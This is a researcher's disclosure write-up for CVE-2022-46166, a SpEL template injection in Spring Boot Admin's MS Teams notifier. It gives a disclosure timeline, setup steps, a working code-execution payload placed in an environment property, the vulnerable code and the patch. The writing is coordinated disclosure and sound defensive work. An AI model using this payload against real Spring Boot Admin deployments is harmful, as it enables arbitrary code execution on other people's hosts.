Skip to content

CVE-2022-46166 - Template Injection - Remote Code Execution

CWE-94: Improper Control of Generation of Code ('Code Injection')

Disclosure Timeline

The communication was very professional and fast from Codecentric:

  • 28.11.2022 - Notification of vulnerability via E-Mail
  • 02.12.2022 - Confirmation of the vulnerability
  • 09.12.2022 - Github Security Advisory and CVE assignment
  • 12.12.2022 - Disclosure coordination and confirmation of this blog with Codecentric

Asset

Pre-Requisites

  • Authenticated User
  • Notification support enabled for Teams (potentially others)

Issue

The Spring Boot Admin application allows to evaluate code via a dynamic Spring Boot environment variable that can be controlled from within the web application. This will allow an attacker with access to the application to run arbitrary code on the host.

Summary of the attack steps:

  1. Build servlet application with MS Teams notify support.
  2. Create environment variable with Java gadget via app.
  3. Trigger event for notification.
  4. Code injection gets executed.

Info

IMPORTANT: As the following proof of concept will show only the easiest way to abuse this feature other ways can be possible, which could reduce the given pre-requisite.

A scenario that should be checked is:

  1. A CustomNotifier that notifies for unauthorized login events of the auditevents endpoint.
  2. A user could wish to log the username of a failed authentication.
  3. The attacker controlled username could contain a Java gadget which gets then executed.
  4. Which resulting in an unauthenticated remote code execution.

Proof of Concept

Clone the Spring Boot Admin application:

1
git clone https://github.com/codecentric/spring-boot-admin.git
We will use the sample servlet application in the repository to create the test candidate for the research.

Add the following to the file spring-boot-admin-samples/spring-boot-admin-sample-servlet/src/main/resources/application.yml:

application.yml
1
2
3
4
5
  boot:
    admin:
      notify:
        ms-teams:
          webhook-url: "http://localhost:8081"
This will enable the MS Teams notification feature.

As I don't have a valid Teams subscription to add an actual web hook we will just use any localhost address and accept the errors thrown from the application.

We will build the application with:

1
./mvnw clean package

After everything is finished we start the app with:

1
2
cd spring-boot-admin-samples/spring-boot-admin-sample-servlet/target
java -jar spring-boot-admin-sample-servlet.jar

This will start the servlet and the UI can be accessed at http://localhost:8080. The username and password are user:password as detailed in the application.yml file we changed before.

Login and open the Environment tab for the instance.

http://localhost:8080/instances/a10163509cb8/env Environment

Add the following environment variable:

  • Property name: spring.boot.admin.notify.ms-teams.theme_color
  • Value: #{T(java.lang.Runtime).getRuntime().exec('open -a calculator')} (The java gadget will open the calculator on MacOS. For Linux or windows the payload can be easily adapted.)

Update and refresh the context.

Now you need to trigger a notification.

The easiest is when you delete the application.

http://localhost:8080/applications Application

The following gif demonstrates the exploit:

Exploit

The vulnerable code can be found here:

MicrosoftTeamsNotifier.java
233
234
235
    public void setThemeColor(String themeColor) {
        this.themeColor = parser.parseExpression(themeColor, ParserContext.TEMPLATE_EXPRESSION);
    }

Remediation

For the remediation review the patch here.

The org.springframework.expression.spel.support.SimpleEvaluationContext(see docs) class replaces the org.springframework.expression.spel.support.StandardEvaluationContext class.

In many cases, the full extent of the SpEL language is not required and should be meaningfully restricted. Examples include but are not limited to data binding expressions, property-based filters, and others. To that effect, SimpleEvaluationContext is tailored to support only a subset of the SpEL language syntax, e.g. excluding references to Java types, constructors, and bean references.